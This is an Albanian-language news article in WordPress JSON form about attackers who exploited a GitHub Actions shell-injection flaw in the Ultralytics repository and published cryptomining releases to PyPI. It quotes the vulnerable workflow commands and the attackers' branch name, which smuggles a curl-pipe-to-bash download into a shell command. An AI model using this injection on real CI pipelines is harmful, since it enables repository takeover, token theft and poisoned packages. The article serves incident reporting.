{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Nj\u00eb gabim n\u00eb menaxherin e GitHub Actions \u00e7oi n\u00eb publikimin e l\u00ebshimeve t\u00eb d\u00ebmshme t\u00eb Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Agresor\u00ebt arrit\u00ebn t\u00eb ekzekutojn\u00eb kod me t\u00eb drejtat e procesorit GitHub Actions n\u00eb depozit\u00ebn e bibliotek\u00ebs Python Ultralytics, e cila p\u00ebrdoret p\u00ebr zgjidhjen e detyrave t\u00eb vizionit kompjuterik, si\u00e7 \u00ebsht\u00eb identifikimi i objekteve n\u00eb imazhe dhe segmentimi i imazheve. Pas marrjes s\u00eb aksesit n\u00eb depo, sulmuesit publikuan disa versione t\u00eb reja t\u00eb Ultralytics n\u00eb katalogun PyPI, duke p\u00ebrfshir\u00eb ndryshime t\u00eb d\u00ebmshme p\u00ebr minimin e kriptomonedhave. N\u00eb muajin e fundit, biblioteka Ultralytics \u00ebsht\u00eb shkarkuar m\u00eb shum\u00eb se 6.4 milion her\u00eb nga katalogu PyPI. <\/p>\n
P\u00ebr komprometimin e repositorit u p\u00ebrdor nj\u00eb dob\u00ebsi n\u00eb paket\u00ebn ultralytics-actions, e cila p\u00ebrdoret p\u00ebr aktivizimin automatik t\u00eb p\u00ebrpunuesve kur ndodhin veprime t\u00eb caktuara me repositorin n\u00eb GitHub, duke p\u00ebrdorur mekanizmin GitHub Actions. N\u00eb projektin ultralytics, p\u00ebrpunuesi vulnerable ishte lidhur me ngjarjen pull_request_target dhe ishte aktivizuar me pranimin e pull-requests t\u00eb rinj. N\u00eb ve\u00e7anti, p\u00ebr formatimin e kodit n\u00eb pull-requests e d\u00ebrguara ishte aktivizuar p\u00ebrpunuesi format.yml dhe ishte ekzekutuar kodi i specifikuar n\u00eb seksionin \u00abrun\u00bb t\u00eb skedarit action.yml, ku ishin t\u00eb pranishme komandat shell me shp\u00ebrndarje: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \u00ab${{ inputs.github_username }}\u00bb git config --global user.email \u00ab${{ inputs.github_email }}\u00bb <\/p>\n
K\u00ebshtu, n\u00eb komandat shell pa kontrollimin e duhur ishte futur emri i deg\u00ebs Git, p\u00ebrmendur n\u00eb pull-request. \u00cbsht\u00eb e r\u00ebnd\u00ebsishme t\u00eb theksohet se n\u00eb gusht n\u00eb paket\u00ebn ultralytics-actions ishte korrigjuar nj\u00eb dob\u00ebsi e ngjashme, e lidhur me p\u00ebrdorimin e nj\u00eb vler\u00ebs external n\u00eb funksionin echo: echo \u00abgithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u00bb <\/p>\n
P\u00ebr t\u00eb organizuar ekzekutimin e kodit t\u00eb tij n\u00eb kontekstin e procesorit GitHub Actions, sulmuesit d\u00ebrguan nj\u00eb pull-request n\u00eb depozit\u00ebn ultralytics, duke caktuar si em\u00ebr t\u00eb deg\u00ebs: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
P\u00ebr rrjedhoj\u00eb, me pranimin e pull-request, n\u00eb kod ishte futur vargu i caktuar nga sulmuesit \u00ab$(…)\u00bb, i cili gjat\u00eb aktivizimit t\u00eb m\u00ebvonsh\u00ebm t\u00eb p\u00ebrpunuesit \u00e7oi n\u00eb ekzekutimin e kodit \u00abcurl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\u00bb.
<\/center> <\/p>\n
Ekzekutimi i kodit n\u00eb kontekstin e GitHub Actions mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb kapur tokenin e aksesit n\u00eb depo dhe t\u00eb dh\u00ebna t\u00eb tjera t\u00eb ndjeshme. Si\u00e7 e arrit\u00ebn sulmuesit t\u00eb formonin nj\u00eb l\u00ebshim, duke fituar mund\u00ebsin\u00eb p\u00ebr t\u00eb ekzekutuar kodin e tyre n\u00eb GitHub Actions, nuk \u00ebsht\u00eb e qart\u00eb. Supozohet se kjo ishte e mundur p\u00ebr shkak t\u00eb ndryshimit t\u00eb trajtuesit publish.yml (sulmuesit hoq\u00ebn kontrollin e llogaris\u00eb me t\u00eb cil\u00ebn lejohet publikimi i l\u00ebshimeve n\u00eb PyPI) dhe p\u00ebrdorimit t\u00eb teknik\u00ebs s\u00eb helmit n\u00eb cache t\u00eb nd\u00ebrtimit t\u00eb GitHub Actions p\u00ebr t\u00eb futur t\u00eb dh\u00ebnat e tyre n\u00eb l\u00ebshim. <\/p>\n
L\u00ebshimi i par\u00eb keqdash\u00ebs Ultralytics 8.3.41 u publikua nga sulmuesit n\u00eb katalogun PyPI m\u00eb 4 dhjetor n\u00eb or\u00ebn 23:51 (MSK) dhe u hoq n\u00eb or\u00ebn 12:15 dit\u00ebn tjet\u00ebr. N\u00eb or\u00ebn 15:47 u publikua nj\u00eb l\u00ebshim tjet\u00ebr 8.3.42, i cili u hoq n\u00eb or\u00ebn 16:47. K\u00ebshtu, versionet keqdash\u00ebse ishin n\u00eb dispozicion p\u00ebr shkarkim p\u00ebr rreth 13 or\u00eb (n\u00eb dit\u00eb n\u00eb PyPI regjistrohen rreth 250 mij\u00eb shkarkime t\u00eb bibliotek\u00ebs ultralytics). N\u00eb p\u00ebrmbajtjen e l\u00ebshimeve 8.3.41 dhe 8.3.42 kishte kod q\u00eb realizonte shkarkimin nga nj\u00eb komponent i jasht\u00ebm. server\u00eb<\/a> XMRig p\u00ebr minuar kriptovalut\u00eb. <\/p>\n
![\"Nj\u00eb](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n